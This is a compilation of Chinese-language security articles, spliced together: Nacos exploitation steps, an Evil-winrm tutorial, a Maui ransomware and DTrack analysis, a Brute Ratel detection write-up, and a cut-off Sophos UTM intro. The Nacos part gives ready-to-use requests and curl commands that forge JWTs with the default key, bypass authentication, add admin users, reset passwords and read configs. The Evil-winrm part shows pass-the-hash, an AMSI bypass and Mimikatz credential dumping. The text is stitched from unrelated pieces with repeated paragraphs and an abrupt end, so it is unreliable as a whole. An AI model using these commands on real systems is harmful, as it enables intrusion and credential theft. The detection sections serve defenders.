eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s

image.png

方框里面需要自行添加:

POST /nacos/v1/auth/users/login HTTP/1.1

Host: 10.211.55.5:8848

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0

Accept: application/json, text/plain, */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 33

Origin: http://10.211.55.5:8848

Connection: close

Referer: http://10.211.55.5:8848/nacos/index.html

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s


username=crowsec&password=crowsec

此时就得到了token信息:

HTTP/1.1 200 

Vary: Origin

Vary: Access-Control-Request-Method

Vary: Access-Control-Request-Headers

Content-Security-Policy: script-src 'self'

Set-Cookie: JSESSIONID=D90CF6E5B233685E4A39C1B1BDA9F185; Path=/nacos; HttpOnly

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s

Content-Type: application/json

Date: Wed, 15 Mar 2023 14:13:22 GMT

Connection: close

Content-Length: 197


{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}


此时就得到了nacos的token信息。

2.利用获取token登录后台

如何登录呢,在这里需要用假账号登录之后,再修改返回包就行了,试试看:
先用假账号登录,用burp拦截:
image.png

这肯定进不去的,在这里修改返回包,右键看下这个:

image.png

然后Forward,这边返回的信息肯定是无效的:

image.png

在这里使用刚刚burp里面生成的返回包进行替换,全部复制过去:

image.png

再forward一次:
image.png

此时就已经进去了:

image.png

3.使用默认密钥生成的JWT查看当前用户名和密码
GET /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s&pageNo=1&pageSize=9 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Connection: close
If-Modified-Since: Wed, 15 Feb 2023 10:45:10 GMT
Upgrade-Insecure-Requests: 1
accessToken: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s


4.利用默认密钥,添加hellonacos用户密码为hellonacos,创建成功

POST /nacos/v1/auth/users HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7sAccept-Encoding: gzip, deflate Connection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Wed, 15 Feb 2023 10:45:10 GMTContent-Type: application/x-www-form-urlencodedContent-Length: 39
username=hellonacos&password=hellonacos


二、Nacos默认配置未授权访问漏洞

http://10.10.84.207:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken
http://your_ip:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9
p0fccr4edvt14174.jpg2yfzm2swjxi14176.jpg


三、 Nacos2.2.0权限绕过

Header中添加serverIdentity: security能直接绕过身份验证查看用户列表
pbbjhp3b5ph14178.jpg如果没有或者不对应则返回403cwq1ypjc0yf14182.jpg

四、Nacos1.x.x版本User-Agent权限绕过((CVE-2021-29441)

0x01 漏洞描述

在 1.4.1 及更早版本的 Nacos 中,当配置为使用身份验证 (Dnacos.core.auth.enabled=true) 时,会使用 AuthFilter servlet 过滤器来强制实施身份验证,从而跳过身份验证检查。此机制依赖于用户代理 HTTP 标头,因此很容易被欺骗。此问题可能允许任何用户在 Nacos 服务器上执行任何管理任务。

0x02 环境搭建

docker run -d -p 8848:8848 hglight/cve-2021-29441

0x03 漏洞影响

Nacos <= 1.4.1

0x04 漏洞复现

1.修改User-Agent的值为Nacos-Server到请求包中,加Header头后访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9可以看到返回值为200,且内容中是否包含pageItemsGET /nacos/v1/auth/users/?pageNo=1&pageSize=9 HTTP/1.1
Host: 192.168.246.138:8848
User-Agent: Nacos-Server

或者使用命令访问:读取用户密码:curl  'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken=' -H 'User-Agent: Nacos-Server'curl 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur' -H 'User-Agent: Nacos-Server'
curl 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate' -H 'User-Agent: Nacos-Server'未授权添加用户curl -X POST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test1&password=test1' -H 'User-Agent:Nacos-Server任意用户密码更改curl -X PUT 'http://127.0.0.1:8848/nacos/v1/auth/users?accessToken=' -H 'User-Agent:Nacos-Server' -d 'username=test1&newPassword=test2'读取配置文件curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99’curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/configs?search=blur&dataId=&group=&pageNo=1&pageSize=99’
添加Header头后使用POST方式请求http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub添加一个新用户,账号密码都为vulhubPOST /nacos/v1/auth/users?username=hglight&password=hglight HTTP/1.1 Host: 192.168.246.138:8848 User-Agent: Nacos-Server或者POST /nacos/v1/auth/users HTTP/1.1Host: 192.168.31.64:8848Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Nacos-ServerAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 27
username=hglight&password=hglight

再次查看用户列表,返回的用户列表数据中,多了一个我们通过绕过鉴权创建的新用户

GET /nacos/v1/auth/users/?pageNo=1&pageSize=9 HTTP/1.1
Host: 192.168.246.138:8848
User-Agent: Nacos-Server
访问http://IP:8848/nacos使用新建用户登录,此时表示漏洞利用成功















前言

Evil-winrm 工具最初是由 Hackplayers 团队开发的。开发该工具的目的是尽可能简化渗透测试,尤其是在 Microsoft Windows 环境中。 Evil-winrm 使用 PowerShell 远程协议 (PSRP),且系统和网络管理员经常使用Windows Remote Management 协议进行上传和管理。 WinRM 是一种基于对防火墙友好的SOAP 协议,可通过 HTTP默认 端口 5985 与 HTTP 传输一起使用。有关 PowerShell 远程处理的更多信息,请参考访问 Microsoft 的官方网站。

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.3

Evil-winrm介绍

Evil-winrm 是一款使用ruby 语言开发的开源工具。 该工具具有许多很酷的功能,包括使用纯文本密码远程登录、SSL 加密登录、 NTLM 哈希登录、密钥登录、文件传输、日志存储等功能。该开发工具的作者不断更新工具并长期维护更新。 使用 evil-winrm,我们可以获得远程主机的 PowerShell命令终端会话。 该工具已在Kali Linux系统中集成,但如果您想单独下载使用,则可以从其官方 git 存储库下载它。

下载链接: https: //github.com/Hackplayers/evil-winrm

Winrm 服务发现

正如上文提到的那样,如果在远程主机中启用了 Winrm 服务,则会联想到使用 evil-winrm 工具。 为了确认目标系统是否开启了winrm服务,我们可以使用 nmap 查找两个默认的 winrm 服务端口 5895 和 5896 是否打开。 从 nmap 扫描结果中,我们发现 winrm 服务已启用,因此我们可以使用 evil-winrm 工具进行登录并执行我们将在横向阶段探索的其他任务。

nmap -p   5985 , 5986 192.168 .1 .19

1lofzb0mkue14169.png

Evil-winrm  help命令帮助

要列出 evil-winrm 的所有可用的功能,我们可以简单地使用 -h 标志,它将列出所有带有描述的帮助命令。

evil-winrm -h

5sgdbgypg2z14171.png

使用纯文本密码登录

假设我们在账户枚举阶段获得了明文密码,并且注意到远程主机启用了 winrm 服务 ,我们可以使用 evil-winrm 在目标系统上进行远程会话,使用方法是带有-i 参数的目标系统IP地址、带有 -u 参数的目标系统用户名,带有-p参数的目标系统密码。 如下图所示,我们可以看到已经建立了一个远程 PowerShell 会话。

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987

gjatiqgxvsi14172.png

使用纯文本密码登录 - 启用 SSL

正如上文提到的那样,winrm 服务可通过 HTTP 协议传输流量,然后我们可以使用安全套接字层 (SSL) 功能来确保连接安全。 一旦启用 SSL 功能,我们的数据将通过加密的安全套接字层进行传输。使用 evil-winrm,我们可以使用-S 参数来建立与远程主机的安全传输的命令。

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -S

jym5ornkjqw14175.png

使用 NTLM Hash 登录 - 通过哈希攻击

在内网渗透或解决任何与 Windows 权限提升和 Active Directory 利用相关的项目中,我们经常通过各种攻击方法获得 NTLM 哈希值。 如果我们在 Windows 内网环境中,我们可以利用 evil-winrm 通过执行传递哈希攻击来建立 PowerShell 会话,这样可以将哈希作为密码而不是使用纯文本密码进行远程登陆。 除此之外,这种攻击还支持其他协议。 传递哈希我们可以使用-H 参数 。

evil-winrm -i 192.168.1.19 -u administrator -H 32196B56FFE6F45E294117B91A83BF38

g1tunhaty3014177.png

加载 Powershell 脚本

Evil-winrm 还提供了一项允许我们使用来自目标主机自带的powershell脚本的功能。 可以直接将脚本加载到内存中 ,我们可以使用带有-s 参数接目标系统的powershell脚本的相对路径 。 此外,该工具还提供了我们在导入任何脚本之前经常需要用到的 AMSI 功能。 在下面的示例中,我们将绕过 AMSI 功能,直接从系统中调用 Invoke-Mimiktz.ps1 脚本到目标主机中并将其加载到内存中。 之后,可以使用 mimikatz 命令。 本次出于演示目的,我们直接从缓存中转储了系统登陆凭据。 转储凭据后,我们可以再次使用获得的 NTLM 哈希进行哈希传递攻击。

https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1

ismxob1geb114179.png

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -s /opt/privsc/powershell
Bypass-4MSI
Invoke-Mimikatz.ps1
Invoke-Mimikatz

15i1wfr1zri14181.png

使用 Evil-winrm 存储日志

此功能表示在获取远程会话后,将执行命令的日志保存到我们的本地系统中。 我们在平时做项目时,都需要攻击凭据,以便进行后续报告输出。可以使用 -l 参数将 将所有日志保存到我们的主机系统中 ,默认保存到 /root/evil-winrm-logs 目录中。在下面的示例中,我们可以同时使用了 ipconfig 命令并将命令输出信息保存到主机系统中。

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -l

wkhop03xdqp14183.png

可以通过检查保存的日志内容来验证是否存将命令日志输出存储成功,可以看到已经存储了我们上文命令输出的日志信息。

1h33eve0f3z14187.png

禁用远程完整路径功能

默认情况下,该工具带有远程完整路径功能,但如果我们希望禁用远程路径完整功能,我们可以 在命令中使用-N参数。 这取决于个人是否喜欢打开或关闭路径完整功能,但如果您对自动完整路功能感到满意,则可以随意使用其默认功能。

 evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -N

zlw3gtdnk3f14190.png

禁用彩色界面

每当我们使用 evil-winrm 建立任何远程会话时,都会生成一个漂亮的彩色命令行界面。 尽管如此,如果我们希望禁用彩色界面功能,那么我们也可以在建立会话时使用-n 参数来禁用该功能。

 evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -N

5ldymd2jhqo14191.png

运行可执行文件

此功能旨在解决我们在进行 PowerShell 会话时在评估期间遇到的实时问题和困难,我们不能将其放到命令行中。 在这种情况下,我们希望能够在 evil-winrm 会话中运行 exe 可执行文件。 假设我们有一个要在目标系统中运行的可执行文件。

zhwj0rqmlvi14192.png

Hackplayers 团队再次设计了该工具并添加了一个额外的功能,可以在 evil-winrm PowerShell 会话中运行所有可执行文件。 同样,我们可以使用 -e 参数来执行 exe 可执行二进制文件。 在下面的示例中,其中 WinPEAS.exe 可执行文件存储在本地计算机 /opt/privsc目录中,并使用 附加功能(  evil-winrm 菜单中的Invoke-Binary命令 )来运行它。 此功能允许我们执行在命令行 shell 中运行的任何 exe 二进制文件。

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -e /opt/privsc
Bypass-4MSI
menu
Invoke-Binary /opt/privsc/winPEASx64.exe

3xlalrhbjbl14195.png

一旦我们设置了可执行文件路径,我们就可以使用我们希望在目标系统中运行的任何可执行文件。 在下面的示例中,我们调用 WinPEASx64.exe 并使用 evil-winrm 将其运行到目标系统中。

h1hnxlx2iyp14197.png

使用 Evil-winrm 进行服务查询

有时后渗透测试工具,无法检测到目标系统中运行的服务名称。 在这种情况下,我们可以使用 evil-winrm 来查找目标系统中运行的服务名称。 为此,我们可以再次转到菜单并使用服务功能。 它将列出所有运行程序主机的服务。

2rima55wlhj14198.png

使用 Evil-winrm 进行文件传输

毫无疑问,evil-winrm 已尽最大努力使我们的使用尽可能地简单。 我们总是需要将文件从攻击机器传输到远程机器以执行其命令操作。 而 evil-winrm 工具提供的一项非常实用的功能,尤其是在我们面对目标系统中设置的出站流量规则以及我们将 evil-winrm 与代理一起使用时的情况下。 在下面的示例中,我们将/root目录中的notes.txt文件上传 到目标系统中。

t2zboiae4xo14199.png

文件从目标系统下载到攻击者的机器上。 同样,我们可以使用下面命令进行下载:

download notes.txt /root/raj/notes.txt

eqq0pf3scaz14200.png

e5zzxxndnrk14201.png

从 Docker 使用 Evil-winrm

此工具也可以安装在 docker 中。 如果我们在安装到evil-winrm的docker中,那么我们也可以从docker中调用它。 它将像在主系统中一样运行。 为此,请遵循 docker 语法以及 evil-winrm 命令从 docker 调用它。

docker run --rm -ti --name evil-winrm  oscarakaelvis/evil-winrm -i 192.168.1.105 -u Administrator -p 'Ignite@987'

a33r1ach1hg14202.png

使用 Evil-winrm 密钥登录

Evil-winrm 还允许我们使用公钥和私钥建立远程会话,使用 带有-k的参数跟私钥,以及带有-c 的参数跟公钥,此外,我们还可以添加 -S 参数来启用 SSL 来使我们的连接加密和安全。

evil-winrm -i 10.129.227.105 -c certificate.pem -k priv-key.pem -S

52dwa4a0kk014204.png


sl-abstract-block-module-structure-1200x600.jpg

2022 年7 月7 日,CISA 發布了一篇題為“朝鮮國家支持的攻擊者使用Maui 勒索軟件攻擊醫療保健和公共衛生部門”的警報。最近,卡巴斯基實驗室的研究人員又對Maui 勒索軟件進行了研究,並將其出現的時間從2021 年5 月提前到了2021 年4 月15 日。由於早期事件中的惡意軟件是在2021年4月15日編譯的,而所有已知樣本的編譯日期都是相同的,因此這次事件可能是有史以來第一次涉及Maui 勒索軟件的事件。

雖然CISA 在其報告中沒有提出有力的證據將此次攻擊歸咎於朝鮮攻擊者,但卡巴斯基實驗室的研究人員確定,在將Maui部署到初始目標系統大約10小時前,該組織向目標部署了眾所周知的DTrack惡意軟件的變體,幾個月前又部署了3proxy(一個由俄羅斯人開發的多平台代理軟件)。綜上所述,研究人員十分有把握,認為這與針對韓國的APT組織Andariel類似。 Andariel是Lazarus組織下的一個子組,主要攻擊目標為韓國企業和政府機構。

2020.12.25:發現可疑的3proxy 工具;

2021.4.15:發現DTrack 惡意軟件;

2021.4.15:發現Maui 勒索軟件;

DTrack 惡意軟件1.png

一旦運行這個惡意軟件,它就會執行一個嵌入的shellcode,加載一個最終的Windows 內存中的有效負載。該惡意軟件負責收集受害者信息並將其發送到遠程主機。它的功能幾乎與以前的DTrack 模塊相同。該惡意軟件通過Windows 命令收集有關受感染主機的信息。內存中的有效負載執行以下Windows 命令:

2.png

此外,該惡意軟件還會收集瀏覽器歷史數據,並將其保存到browser.his 文件中,就像舊變種一樣。與舊版本的DTrack 相比,新的信息收集模塊通過HTTP 將被盜信息發送到遠程服務器,該變體將被盜文件複製到同一網絡上的遠程主機。

Maui 勒索軟件Maui 勒索軟件是在同一服務器上的DTrack 變種後十小時檢測到的。

3.png

Maui 勒索軟件存在多個運行參數。在此事件中,我們觀察到攻擊者使用“-t”和“-x”參數,以及特定的驅動器路徑進行加密:

4.png

在這個示例中,“-t 8”將勒索軟件線程數設置為8,“-x”命令惡意軟件“self melt”,“E:”值將路徑(在這個案例中為整個驅動器)設置為加密。勒索軟件的功能與之前Stairwell 報告中描述的相同。

該惡意軟件創建了兩個密鑰文件來實現文件加密:

5.png

不同受害者身上的類似DTrack 惡意軟件根據對相鄰主機的滲透信息,研究人員在印度發現了更多受害者。其中一台主機最初於2021 年2 月遭到攻擊。 Andariel 很可能竊取了提升的憑據以在目標組織內部署此惡意軟件,但這種猜測是基於路徑和其他工件,具體細節還需要繼續分析。

6.png

該惡意軟件的主要目標與上述受害者的情況相同,使用不同的登錄憑據和本地IP 地址來竊取數據。

7.png

Windows命令來竊取數據

從同一個受害者身上,我們發現了其他使用不同登錄憑據的DTrack 惡意軟件(MD5 87e3fc08c01841999a8ad8fe25f12fe4)。

新增DTrack模塊和初始感染方法“3Proxy”工具可能是攻擊者使用的工具,於2020 年9 月9 日編譯,並於2020 年12 月25 日部署給受害者。基於這個檢測和編譯日期,研究人員擴大了研究範圍,發現了一個額外的DTrack 模塊。該模塊編譯於2020年09月16日14:16:21,並在2020年12月初檢測到,與3Proxy工具部署的時間點相似。

8.png

這個DTrack模塊非常類似於DTrack的事件跟踪模塊,該模塊之前被報告給我們的威脅情報客戶。在一個受害系統中,我們發現一個知名的簡單HTTP服務器HFS7部署了上面的惡意軟件。在一個易受攻擊的HFS服務器上使用未知漏洞並執行“whoami”後,執行下面的Powershell命令從遠程服務器獲取額外的Powershell腳本:

9.png

mini.ps1 腳本負責通過bitsadmin.exe 下載並執行上述DTrack 惡意軟件:

10.png

另一個受害者操作了一個易受攻擊的Weblogic 服務器。根據分析,攻擊者通過CVE-2017-10271 漏洞攻擊了該服務器。研究人員看到Andariel 在2019 年年中濫用了相同的漏洞並破壞了WebLogic 服務器。在本案例中,被利用的服務器會執行Powershell 命令來獲取額外的腳本。獲取的腳本能夠從我們上面提到的服務器(hxxp://145.232.235[.]222/usr/users/mini.ps1)下載Powershell 腳本。因此攻擊者至少在2020 年底之前濫用了易受攻擊的面向互聯網的服務來部署他們的惡意軟件。

受害者分析2022年7月的CISA 警報指出,醫療保健和公共衛生部門已成為美國Maui 勒索軟件的攻擊目標。然而,根據我們的研究,我們認為這項業務並不針對特定行業,而且其影響範圍是全球性的。可以確認,有一家日本住房公司於2021 年4 月15 日成為Maui 勒索軟件的攻擊目標。此外,來自印度、越南和俄羅斯的受害者在類似的時間範圍內被日本Maui 事件中使用的DTrack 惡意軟件感染,時間是從2020 年底至2021 年初。

研究表明,該攻擊者相當投機取巧,無論其業務範圍如何,只要擁有良好的財務狀況,就可能成為其攻擊對象。攻擊者很可能偏愛易受攻擊的暴露於互聯網的Web 服務。此外,Andariel 有選擇地部署勒索軟件以獲取經濟利益。

11.png

幕後攻擊者是誰?根據卡巴斯基威脅歸因引擎(KTAE),來自受害者的DTrack惡意軟件與之前已知的DTrack惡意軟件具有高度的代碼相似性(84%)。

此外,我們發現DTrack 惡意軟件(MD5 739812e2ae1327a94e441719b885bd19) 使用與“Backdoor.Preft”惡意軟件(MD5 2f553cba839ca4dab201d3f8154bae2a) 相同的shellcode 加載程序,此後門由賽門鐵克發布。請注意,賽門鐵克最近將Backdoor.Preft 惡意軟件描述為“aka Dtrack, Valefor”。除了代碼相似性之外,攻擊者還使用了3Proxy 工具(MD5 5bc4b606f4c0f8cd2e6787ae049bf5bb),該工具之前也被Andariel/StoneFly/Silent Chollima 組織(MD5 95247511a611ba3d8581c7c6b8b1a38a) 使用。賽門鐵克將StoneFly 歸咎於DarkSeoul 事件背後的攻擊者。

總結綜合分析,Maui 勒索軟件事件背後的攻擊者TTP 與過去的Andariel/Stonefly/Silent Chollima 活動非常相似:

在初始感染後使用合法代理和隧道工具或部署它們以保持訪問權限,並使用Powershell 腳本和Bitsadmin 下載其他惡意軟件;

使用漏洞攻擊已知但未修補的易受攻擊的公共服務,例如WebLogic 和HFS;

專門部署DTrack,也被稱為Preft;

目標網絡中的駐留時間可以在活動之前持續數月;

出於經濟利益,在全球範圍內部署勒索軟件。

如何發現信標(一)

我們在上一篇文章介紹了對C2 框架執行威脅追踪的通用方法以及針對Cobalt Strike 的實際示例。接下來,我們將分析由Dark Vortex 開發的命令和控制框架Brute Ratel。其C2如下所示:

1.png

在過去的幾個月裡,該框架受到了密切關注,據稱最近被APT29 和勒索軟件組織BlackCat 濫用。因此,了解如何在基礎設施中普遍地檢測這個新興的C2對於防御者來說是有用的。

最初,所有分析都是在Brute Ratel v1.0.7上執行的,但是,我們進行了粗略的更新,討論了與v1.1 相關的發現,該發現是在我們最初的x33fcon 演示後不久發布的。 Brute Ratel 應該注意的一件事是,badger 的擴展性有限,主要從c2 通道的角度來看,除了v1.1 ,它增加了休眠混淆技術的擴展性。因此,它可以為工具創建非常具體的檢測。

Brute Ratel 的加載器Brute Ratel 的badger有多種形式,包括exe、DLL 和shellcode。當badger 被注入時,它的反射加載器將立即加載badger 所需的所有依賴項。由於badger 捆綁了大量的後利用功能,這導致在初始化時加載大量DLL:

2.png

如上所示,突出顯示的DLL 是注入badger 時加載的所有DLL。此列表包括winhttp.dll 和wininet.dll 的加載,它們不一定是惡意的,而是輸出信標的傳統加載。然而,還有一些不太常見的dll被加載,比如dbghelp.dll、credui.dll samcli.dll和logoncli.dll等。

這種行為允許我們為圖像加載創建一個簽名,並產生一個高信號指示器,可以通過圖像加載檢測來尋找。

例如,使用彈性查詢語言,我們可以搜索credui.dll、dbghelp.dll和winhttp.dll在一個進程中相互間隔60秒內發生的加載事件序列:

3.png

使用EQL 工具或Elastic 的雲,我們可以搜索我們的事件數據,例如從sysmon 日誌中提取的以下內容。請注意,我們明確排除了badger 可執行文件本身,因此我們只能識別注入的badger:

4.png

這將導致以下顯示檢測到被注入notepad.exe 的badger:

5.png

這個查詢特別強大,因為它允許我們在網絡中追溯尋找Brute Ratel badger的指標,而無需直接在終端上運行代碼。

內存中的Brute Ratel由於大多數信標仍然駐留在內存中,因此了解留下的足跡以尋找它們非常重要。查看1.0 版本的Brute Ratel 文檔,它詳細介紹了它自己的混淆和休眠實現:

6.png

這個查詢特別強大,因為它允許我們在網絡中追溯尋找Brute Ratel badger的指標,而無需直接在終端上運行代碼。

由於大多數信標仍然駐留在內存中,因此為了尋找它們,了解留下的足跡是很重要的。回顧一下Brute Ratel 1.0版本的文檔,它詳細介紹了它自己的混淆和休眠實現:

7.png

一旦badger進入休眠狀態,我們就可以使用Process Hacker 從進程中恢復字符串。有趣的是,當badger休眠時,我們可以看到如下字符串:

8.png

鑑於前面提到的在Brute Ratel 博客上描述的所謂的休眠和混淆策略,這最初是相當令人驚訝的。

深入挖掘後,我們可以發現一些有趣的設計決策,其中顯示在操作員UI 中的許多字符串都是從badger本身填充的。例如,我們可以在badger休眠時的內存中看到以下內容:

9.png

然後這些字符串返回到UI,如下所示:

10.png

深入研究badger,很快就發現只有.text 部分在休眠時被混淆,使得badger容易受到針對字符串和數據的各種簽名的影響。

為了說明這一點,反轉badger,我們可以將加載程序的入口點視為“bruteloader”:

11.png

在badger休眠時在內存中搜索這個字符串,我們可以在記事本進程中快速找到它:

12.png

這些字符串為內存掃描的Yara 規則提供了一個很好的基礎。例如,以下規則將在進程的內存中搜索bruteloader 或bhttp_x64.dll 字符串:

13.png

我們可以在badger休眠時針對我們的記事本進程測試這些以證明其有效性:

14.png

字符串不太可能存在於其他進程中,使用簡單的一行代碼就可以快速找到測試系統中所有被注入的badger:

15.png

使用Yara 規則,我們可以快速找到其他樣本,例如:

16.png

頁面權限通過對Brute Ratel混淆和睡眠策略的分析,可以觀察到badger在休眠期間對badger的頁面權限進行調整,以試圖逃避badger休眠時延長的可執行權限。

下面,我們可以看到badger 在sleep 0 上運行,badger 的頁面權限在未映射的頁面上為PAGE_EXECUTE_READ,這對於執行任務是必要的。

17.png

讓badger進入休眠狀態,我們可以看到混淆和休眠策略混淆了.text 部分並將badger的頁面權限重置為PAGE_READWRITE:

18.png

有趣的是,我們注意到在執行SMB 數據透視時不會復制此行為,即當兩個badger被關聯時。在這裡,我們可以看到我們的兩個badger相互關聯,並且都處於60 秒的休眠狀態:

19.png

對兩個badger 關聯時的頁面權限分析表明,無論休眠時間如何,兩者都保持PAGE_EXECUTE_READ:

20.png

結論是混淆和休眠策略僅適用於.text 部分。

出於對模糊處理和睡眠功能如何工作的好奇,我們開始對其進行逆向工程。通過windbg 中的sleep 例程,我們可以初步了解正在發生的事情,badger正在使用WaitForSingleObjectEx 在一系列異步過程調用(APC) 期間延遲執行,並利用間接系統調用來執行NtTestAlert 並在線程上強制發出警報:

21.png

深入了解IDA,我們可以更好地了解正在發生的事情。首先,它創建一個新線程,其起始地址被欺騙到TpReleaseCleanupGroupMembers+550 的固定位置:

22.png

然後為NtWaitForSingleObject、NtProtectVirtualMemory、SystemFunction032、NtGetContextThread 和SetThreadContext 的多個函數調用創建一系列上下文結構:

23.png

接下來,許多APC 排隊等待NtContinue,目的是使用它來代理對上述上下文結構的調用,這種技術是ROP的基本形式:

24.png

在對睡眠技術進行逆向工程後,我們很快意識到它與@ilove2pwn_的Foliage項目非常相似,只是硬編碼的線程起始地址不同。

儘管對badger進行了大量的調試和逆向工程,但我們無法揭示v1.0 博客文章中引用的“Windows 事件創建、等待對象和計時器”技術的任何實證,事實上,這些技術所需的API 似乎並沒有通過badger 的哈希導入來輸入。

Brute Ratel線程為了分析Brute Ratel 線程在內存中的外觀,我們將badger 注入到記事本的新副本中。隨即,我們可以看到休眠的badger使用的線程中有一些可疑的指標。

首先,我們注意到有一個看起來可疑的線程,其起始地址為0x0,並且在調用堆棧中有一個調用WaitForSingleObjectEx 的單獨的幀:

25.png

根據對線程調用堆棧的分析,我們可以推測該線程用於HTTP 通信,而badger現在正在休眠:

26.png

根據我們從對混淆和休眠策略進行逆向工程獲得的信息,我們注意到新線程是使用硬編碼的欺騙起始地址ntdll!TpReleaseCleanupGroupMembers+0x550 創建的:

27.png

我們無法找到任何作為起始地址自然發生的實例,因此導致了一個用於尋找Brute Ratel 線程的微不足道的指標。實際上,我們注入的記事本進程如下所示:

28.png

線程的調用堆棧也略有不規則,因為它不僅包含延遲執行的調用,而且第一幀指向ntdll.dll!NtTerminateJobObject+0x1f。深入了解為什麼使用NtNerminateJobObject 會突出顯示這只是NtTestAlert 的ROP 小工具,用於在線程上執行掛起的APC:

29.png

內存掛鉤在第一篇文章中,我們詳細介紹了兩種基於內存掛鉤檢測內存信標的潛在方法,通過查找已知補丁的簽名(例如ret to ntdll.dll!EtwEventWrite)並通過檢測寫入操作的副本。

將這些概念應用到Brute Ratel中,我們注意到,在操作員使用其開發後功能之前,badger不會應用任何內存掛鉤。一個例子是Sharpinline 命令,它在當前進程中運行一個.NET 程序集:

30.png

一旦組裝完成並且信標重新進入休眠狀態,我們可以通過附加調試器並反彙編ntdll.dll!EtwEventWrite 和amsi.dll!AmsiScanBuffer 的值來更好地了解發生了什麼:

31.png

如上所示,這些是禁用.NET ETW 數據和禁止AMSI 的簡單且持久的補丁。由於補丁是持久的,我們可以通過上述任何一種技術來檢測它們,因為我們不僅會因為EtwEventWrite 的第一條指令是ret 而收到高信號檢測,而且還會因為EtwEventWrite所在的頁面由於共享位的清除而被修改。

使用BeaconHunter,我們可以通過解析修改頁面上的導出信息,快速檢測出這些掛鉤,為惡意篡改提供了強有力的指示:

32.png

Brute Ratel C2 服務器遠離終端,作為防御者,我們也有興趣檢測命令和控制基礎設施,因為這可能有助於為我們提供足夠的智能來檢測基於網絡檢測的信標。

Brute Ratel的C2服務器是用golang開發的,默認情況下只允許操作員修改C2的默認登錄頁面。為了識別C2服務器,我們發現在向任何URI發送包含base64的POST請求時,都可能生成未處理的異常。例如,考慮下面base64 POST數據與明文數據的比較:

33.png

這很可能是因為base64 解碼POST 數據的預期輸入應符合C2 通信格式。一個簡單的Nuclei 規則可能會幫助我們掃描這種基礎設施:

34.png

除了與C2 的直接交互之外,還可以檢測C2 基礎設施,其中操作員沒有根據HTML 的哈希(http.html_hash=-1957161625) 手動重新定義默認登錄頁面。

使用一個簡單的Shodan查詢,我們可以快速找到暴露在互聯網上的實時基礎設施:

35.png

雖然只確定了大約40 個組織服務器,但根據地理分佈,我們可以更好地了解這些服務器的位置:

36.png

其中一些技術很可能已經為人所知,因為根據針對我們測試基礎設施的報告,防御者正在積極尋找這些C2 服務器:

37.png

蠻橫的Ratel 配置對Badger 的分析表明,Brute Ratel 在內存中維護了一個加密的配置結構,其中包括C2 終端的詳細信息。能夠從工件或正在運行的進程中提取這一點對防御者很有幫助。我們的分析表明,此配置保存在base64 和RC4 加密的blob 中,使用badger的工件中的固定密鑰“bYXJm/3#M?XyMBF”,而配置以明文形式存儲在內存中供休眠的badger使用。

我們開發了以下配置提取器,可用於

0x00 前言對於Sophos UTM設備,介紹利用方法的資料很少,本文將要介紹從零研究導出配置文件的過程,記錄細節,開源利用腳本。

